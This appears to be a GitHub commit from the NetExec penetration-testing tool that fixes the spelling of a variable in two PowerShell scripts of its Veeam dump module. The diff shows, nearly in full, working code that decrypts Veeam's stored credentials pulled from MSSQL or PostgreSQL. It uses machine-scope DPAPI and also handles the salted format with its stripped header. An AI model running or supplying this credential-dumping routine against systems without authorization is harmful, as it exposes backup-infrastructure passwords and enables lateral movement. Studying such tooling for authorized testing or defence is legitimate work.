Skip to content

Commit c60141f

Browse files
committed
Correct spelling
1 parent 18f7033 commit c60141f

2 files changed

Lines changed: 14 additions & 14 deletions

File tree

nxc/data/veeam_dump_module/veeam_dump_mssql.ps1

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -32,29 +32,29 @@ if ($rows.count -eq 0) {
3232
Add-Type -assembly System.Security
3333
# Decrypting passwords using DPAPI
3434
$rows | ForEach-Object -Process {
35-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
35+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
3636
$enc = [system.text.encoding]::Default
3737

3838
try {
3939
# Decrypt password with DPAPI (old Veeam versions)
40-
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
40+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
4141
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
4242
} catch {
4343
try{
4444
# Decrypt password with salted DPAPI (new Veeam versions)
4545
$salt = [System.Convert]::FromBase64String($b64Salt)
46-
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2)
47-
foreach ($byte in $EnryptedPWD)
46+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
47+
foreach ($byte in $EncryptedPWD)
4848
{
4949
$hex.AppendFormat("{0:x2}", $byte) > $null
5050
}
5151
$hex = $hex.ToString().Substring(74,$hex.Length-74)
52-
$EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
52+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
5353
for ($i = 0; $i -lt $hex.Length; $i += 2)
5454
{
55-
$EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
55+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
5656
}
57-
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
57+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
5858
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
5959
}catch {
6060
$pw_string = "COULD_NOT_DECRYPT"

nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -14,29 +14,29 @@ if ($output.count -eq 0) {
1414
# Decrypting passwords using DPAPI
1515
Add-Type -assembly System.Security
1616
$output | ForEach-Object -Process {
17-
$EnryptedPWD = [Convert]::FromBase64String($_.password)
17+
$EncryptedPWD = [Convert]::FromBase64String($_.password)
1818
$enc = [system.text.encoding]::Default
1919

2020
try {
2121
# Decrypt password with DPAPI (old Veeam versions)
22-
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
22+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
2323
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
2424
} catch {
2525
try{
2626
# Decrypt password with salted DPAPI (new Veeam versions)
2727
$salt = [System.Convert]::FromBase64String($b64Salt)
28-
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2)
29-
foreach ($byte in $EnryptedPWD)
28+
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
29+
foreach ($byte in $EncryptedPWD)
3030
{
3131
$hex.AppendFormat("{0:x2}", $byte) > $null
3232
}
3333
$hex = $hex.ToString().Substring(74,$hex.Length-74)
34-
$EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
34+
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
3535
for ($i = 0; $i -lt $hex.Length; $i += 2)
3636
{
37-
$EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
37+
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
3838
}
39-
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
39+
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
4040
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
4141
}catch {
4242
$pw_string = "COULD_NOT_DECRYPT"

0 commit comments

Comments
 (0)